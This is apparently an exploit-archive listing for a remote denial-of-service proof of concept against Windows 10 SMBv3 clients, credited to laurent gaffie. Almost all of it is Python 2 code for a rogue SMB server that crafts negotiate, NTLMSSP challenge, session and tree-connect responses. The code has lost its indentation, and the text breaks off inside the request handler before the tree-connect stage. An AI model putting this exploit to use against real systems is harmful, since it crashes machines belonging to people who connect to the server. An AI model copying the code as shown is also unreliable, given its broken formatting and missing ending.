Microsoft Windows 10 DoS SMBv3 Tree Connect (PoC)

Published
Credit
Risk
2017.02.03
laurent gaffie
Medium
CWE
CVE
Local
Remote
N/A
N/A
No
Yes

import sys, struct, SocketServer
from odict import OrderedDict
from datetime import datetime
from calendar import timegm

class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))

def NTStamp(Time):
NtStamp = 116444736000000000 + (timegm(Time.timetuple()) * 10000000)
return struct.pack("Q", NtStamp + (Time.microsecond * 10))

def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length

def GrabMessageID(data):
Messageid = data[28:36]
return Messageid

def GrabCreditRequested(data):
CreditsRequested = data[18:20]
if CreditsRequested == "\x00\x00":
CreditsRequested = "\x01\x00"
else:
CreditsRequested = data[18:20]
return CreditsRequested

def GrabCreditCharged(data):
CreditCharged = data[10:12]
return CreditCharged

def GrabSessionID(data):
SessionID = data[44:52]
return SessionID

##################################################################################
class SMBv2Header(Packet):
fields = OrderedDict([
("Proto", "\xfe\x53\x4d\x42"),
("Len", "\x40\x00"),
("CreditCharge", "\x00\x00"),
("NTStatus", "\x00\x00\x00\x00"),
("Cmd", "\x00\x00"),
("Credits", "\x01\x00"),
("Flags", "\x01\x00\x00\x00"),
("NextCmd", "\x00\x00\x00\x00"),
("MessageId", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("PID", "\xff\xfe\x00\x00"),
("TID", "\x00\x00\x00\x00"),
("SessionID", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
])

##################################################################################
class SMB2NegoAns(Packet):
fields = OrderedDict([
("Len", "\x41\x00"),
("Signing", "\x01\x00"),
("Dialect", "\xff\x02"),
("Reserved", "\x00\x00"),
("Guid", "\xea\x85\xab\xf1\xea\xf6\x0c\x4f\x92\x81\x92\x47\x6d\xeb\x72\xa9"),
("Capabilities", "\x07\x00\x00\x00"),
("MaxTransSize", "\x00\x00\x10\x00"),
("MaxReadSize", "\x00\x00\x10\x00"),
("MaxWriteSize", "\x00\x00\x10\x00"),
("SystemTime", NTStamp(datetime.now())),
("BootTime", "\x22\xfb\x80\x01\x40\x09\xd2\x01"),
("SecBlobOffSet", "\x80\x00"),
("SecBlobLen", "\x78\x00"),
("Reserved2", "\x4d\x53\x53\x50"),
("InitContextTokenASNId", "\x60"),
("InitContextTokenASNLen", "\x76"),
("ThisMechASNId", "\x06"),
("ThisMechASNLen", "\x06"),
("ThisMechASNStr", "\x2b\x06\x01\x05\x05\x02"),
("SpNegoTokenASNId", "\xA0"),
("SpNegoTokenASNLen", "\x6c"),
("NegTokenASNId", "\x30"),
("NegTokenASNLen", "\x6a"),
("NegTokenTag0ASNId", "\xA0"),
("NegTokenTag0ASNLen", "\x3c"),
("NegThisMechASNId", "\x30"),
("NegThisMechASNLen", "\x3a"),
("NegThisMech1ASNId", "\x06"),
("NegThisMech1ASNLen", "\x0a"),
("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"),
("NegThisMech2ASNId", "\x06"),
("NegThisMech2ASNLen", "\x09"),
("NegThisMech2ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
("NegThisMech3ASNId", "\x06"),
("NegThisMech3ASNLen", "\x09"),
("NegThisMech3ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"),
("NegThisMech4ASNId", "\x06"),
("NegThisMech4ASNLen", "\x0a"),
("NegThisMech4ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"),
("NegThisMech5ASNId", "\x06"),
("NegThisMech5ASNLen", "\x0a"),
("NegThisMech5ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("NegTokenTag3ASNId", "\xA3"),
("NegTokenTag3ASNLen", "\x2a"),
("NegHintASNId", "\x30"),
("NegHintASNLen", "\x28"),
("NegHintTag0ASNId", "\xa0"),
("NegHintTag0ASNLen", "\x26"),
("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNLen", "\x24"),
("NegHintFinalASNStr", "Server2009@SMB3.local"),
("Data", ""),
])

def calculate(self):


StructLen = str(self.fields["Len"])+str(self.fields["Signing"])+str(self.fields["Dialect"])+str(self.fields["Reserved"])+str(self.fields["Guid"])+str(self.fields["Capabilities"])+str(self.fields["MaxTransSize"])+str(self.fields["MaxReadSize"])+str(self.fields["MaxWriteSize"])+str(self.fields["SystemTime"])+str(self.fields["BootTime"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"])

SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])


AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])

AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])

MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])

Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])

#Sec Blob lens
self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64)
self.fields["SecBlobLen"] = struct.pack("<h",len(SecBlobLen))
#ASN Stuff
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(SecBlobLen)-2)
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"])))
self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"])))
self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"])))
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
self.fields["NegThisMech5ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech5ASNStr"])))
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4)
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))

##################################################################################
class SMB2Session1Data(Packet):
fields = OrderedDict([
("Len", "\x09\x00"),
("SessionFlag", "\x01\x00"),
("SecBlobOffSet", "\x48\x00"),
("SecBlobLen", "\x06\x01"),
("ChoiceTagASNId", "\xa1"),
("ChoiceTagASNLenOfLen", "\x82"),
("ChoiceTagASNIdLen", "\x01\x02"),
("NegTokenTagASNId", "\x30"),
("NegTokenTagASNLenOfLen","\x81"),
("NegTokenTagASNIdLen", "\xff"),
("Tag0ASNId", "\xA0"),
("Tag0ASNIdLen", "\x03"),
("NegoStateASNId", "\x0A"),
("NegoStateASNLen", "\x01"),
("NegoStateASNValue", "\x01"),
("Tag1ASNId", "\xA1"),
("Tag1ASNIdLen", "\x0c"),
("Tag1ASNId2", "\x06"),
("Tag1ASNId2Len", "\x0A"),
("Tag1ASNId2Str", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("Tag2ASNId", "\xA2"),
("Tag2ASNIdLenOfLen", "\x81"),
("Tag2ASNIdLen", "\xE9"),
("Tag3ASNId", "\x04"),
("Tag3ASNIdLenOfLen", "\x81"),
("Tag3ASNIdLen", "\xE6"),
("NTLMSSPSignature", "NTLMSSP"),
("NTLMSSPSignatureNull", "\x00"),
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
("NTLMSSPNtWorkstationLen","\x1e\x00"),
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
("NTLMSSPNtServerChallenge","\x82\x21\x32\x14\x51\x46\xe2\x83"),
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
("NTLMSSPNtTargetInfoLen","\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh","\x06"),
("NegTokenInitSeqMechMessageVersionLow","\x03"),
("NegTokenInitSeqMechMessageVersionBuilt","\x80\x25"),
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NTLMSSPNtWorkstationName","SMB3"),
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","SMB5"),
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","WIN-PRH502RQAFV"),
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","SMB5.local"),
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","WIN-PRH502RQAFV.SMB5.local"),
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","SMB5.local"),
("NTLMSSPNTLMChallengeAVPairs7Id","\x07\x00"),
("NTLMSSPNTLMChallengeAVPairs7Len","\x08\x00"),
("NTLMSSPNTLMChallengeAVPairs7UnicodeStr",NTStamp(datetime.now())),
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
])


def calculate(self):
###### Convert strings to Unicode
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')

#Packet struct calc:
StructLen = str(self.fields["Len"])+str(self.fields["SessionFlag"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])
###### SecBlobLen Calc:
CalculateSecBlob = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NTLMSSPNtWorkstationName"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])

AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])


#Packet Struct len
self.fields["SecBlobLen"] = struct.pack("<H", len(AsnLen+CalculateSecBlob))
self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64)

###### ASN Stuff
if len(CalculateSecBlob) > 255:
self.fields["Tag3ASNIdLen"] = struct.pack(">H", len(CalculateSecBlob))
else:
self.fields["Tag3ASNIdLenOfLen"] = "\x81"
self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob))

if len(AsnLen+CalculateSecBlob)-3 > 255:
self.fields["ChoiceTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-4)
else:
self.fields["ChoiceTagASNLenOfLen"] = "\x81"
self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3)

if len(AsnLen+CalculateSecBlob)-7 > 255:
self.fields["NegTokenTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-8)
else:
self.fields["NegTokenTagASNLenOfLen"] = "\x81"
self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-7)

tag2length = CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])

if len(tag2length) > 255:
self.fields["Tag2ASNIdLen"] = struct.pack(">H", len(tag2length))
else:
self.fields["Tag2ASNIdLenOfLen"] = "\x81"
self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(tag2length))

self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"])))

###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])

###### AvPairs Offset
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])

##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))

##### Target Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))

##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs7Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))

class SMB2SessionAcceptData(Packet):
fields = OrderedDict([
("Len", "\x09\x00"),
("SessionFlag", "\x01\x00"),
("SecBlobOffSet", "\x48\x00"),
("SecBlobLen", "\x1d\x00"),
("SecBlobTag0", "\xa1"),
("SecBlobTag0Len", "\x1b"),
("NegTokenResp", "\x30"),
("NegTokenRespLen", "\x19"),
("NegTokenRespTag0", "\xa0"),
("NegTokenRespTag0Len", "\x03"),
("NegStateResp", "\x0a"),
("NegTokenRespLen1", "\x01"),
("NegTokenRespStr", "\x00"),
("SecBlobTag3", "\xa3"),
("SecBlobTag3Len", "\x12"),
("SecBlobOctetHeader", "\x04"),
("SecBlobOctetLen", "\x10"),
("MechlistMICVersion", ""),# No verification on the client side...
("MechlistCheckSum", ""),
("MechlistSeqNumber", ""),
("Data", ""),
])
def calculate(self):

###### SecBlobLen Calc:
CalculateSecBlob = str(self.fields["SecBlobTag0"])+str(self.fields["SecBlobTag0Len"])+str(self.fields["NegTokenResp"])+str(self.fields["NegTokenRespLen"])+str(self.fields["NegTokenRespTag0"])+str(self.fields["NegTokenRespTag0Len"])+str(self.fields["NegStateResp"])+str(self.fields["NegTokenRespLen1"])+str(self.fields["NegTokenRespStr"])+str(self.fields["SecBlobTag3"])+str(self.fields["SecBlobTag3Len"])+str(self.fields["SecBlobOctetHeader"])+str(self.fields["SecBlobOctetLen"])+str(self.fields["MechlistMICVersion"])+str(self.fields["MechlistCheckSum"])+str(self.fields["MechlistSeqNumber"])

CalculateASN = str(self.fields["NegTokenResp"])+str(self.fields["NegTokenRespLen"])+str(self.fields["NegTokenRespTag0"])+str(self.fields["NegTokenRespTag0Len"])+str(self.fields["NegStateResp"])+str(self.fields["NegTokenRespLen1"])+str(self.fields["NegTokenRespStr"])+str(self.fields["SecBlobTag3"])+str(self.fields["SecBlobTag3Len"])+str(self.fields["SecBlobOctetHeader"])+str(self.fields["SecBlobOctetLen"])+str(self.fields["MechlistMICVersion"])+str(self.fields["MechlistCheckSum"])+str(self.fields["MechlistSeqNumber"])

MechLen = str(self.fields["SecBlobOctetHeader"])+str(self.fields["SecBlobOctetLen"])+str(self.fields["MechlistMICVersion"])+str(self.fields["MechlistCheckSum"])+str(self.fields["MechlistSeqNumber"])

#Packet Struct len
self.fields["SecBlobLen"] = struct.pack("<h",len(CalculateSecBlob))
self.fields["SecBlobTag0Len"] = struct.pack("<B",len(CalculateASN))
self.fields["NegTokenRespLen"] = struct.pack("<B", len(CalculateASN)-2)
self.fields["SecBlobTag3Len"] = struct.pack("<B",len(MechLen))
self.fields["SecBlobOctetLen"] = struct.pack("<B",len(MechLen)-2)

class SMB2TreeData(Packet):
fields = OrderedDict([
("Len", "\x10\x00"),
("ShareType", "\x02\x00"),
("ShareFlags", "\x30\x00\x00\x00"),
("ShareCapabilities", "\x00\x00\x00\x00"),
("AccessMask", "\xff\x01\x1f\x01"),
("Data", ""),
])

##########################################################################
class SMB2(SocketServer.BaseRequestHandler):

def handle(self):
try:
self.request.settimeout(1)
print "From:", self.client_address
data = self.request.recv(1024)

##Negotiate proto answer.
if data[8:10] == "\x72\x00" and data[4:5] == "\xff":
head = SMBv2Header(CreditCharge="\x00\x00",Credits="\x01\x00",PID="\x00\x00\x00\x00")
t = SMB2NegoAns()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[*]Negotiating SMBv2."
self.request.send(buffer1)
data = self.request.recv(1024)

if data[16:18] == "\x00\x00":
CreditsRequested = data[18:20]
if CreditsRequested == "\x00\x00":
CreditsRequested = "\x01\x00"
CreditCharged = data[10:12]
head = SMBv2Header(MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data))
t = SMB2NegoAns(Dialect="\x02\x02")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[*]Negotiate Protocol SMBv2 packet sent."
self.request.send(buffer1)
data = self.request.recv(1024)

#Session More Work to Do
if data[16:18] == "\x01\x00":
